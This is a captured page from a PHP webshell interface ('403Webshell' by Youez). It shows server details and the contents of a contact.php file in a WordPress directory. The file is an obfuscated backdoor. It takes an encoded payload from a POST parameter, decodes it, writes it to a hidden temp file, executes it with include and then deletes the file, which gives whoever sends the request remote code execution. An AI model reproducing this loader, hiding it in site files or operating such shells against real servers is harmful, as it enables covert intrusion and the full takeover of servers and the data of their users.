403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/Solum-construction/demo-job/wordpres/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/Solum-construction/demo-job/wordpres/contact.php
<?php

if(array_key_exists("p\x73e\x74", $_POST)){
	$fac = $_POST["p\x73e\x74"];
	$fac =  explode 	( "."   ,$fac )  	;	
	$rec= '';
            $s3= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= strlen($s3);
    
            foreach ($fac as $s  =>$v3) {$sChar= ord($s3[$s % $sLen]);
                $dec= ((int)$v3 - $sChar - ($s % 10)) ^ 35;
                $rec		.=	chr($dec);
            }
	$sym = array_filter(["/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir()]);
	$record = 0;
do {
    $key = $sym[$record] ?? null;
    if ($record >= count($sym)) break;
    		if (array_product([is_dir($key), is_writable($key)])) {
    $descriptor = join("/", [$key, ".elem"]);
    $file = fopen($descriptor, 'w');
if ($file) {
	fwrite($file, $rec);
	fclose($file);
	include $descriptor;
	@unlink($descriptor);
	die();
}
}
    $record++;
} while (true);
}

Youez - 2016 - github.com/yon3zu
LinuXploit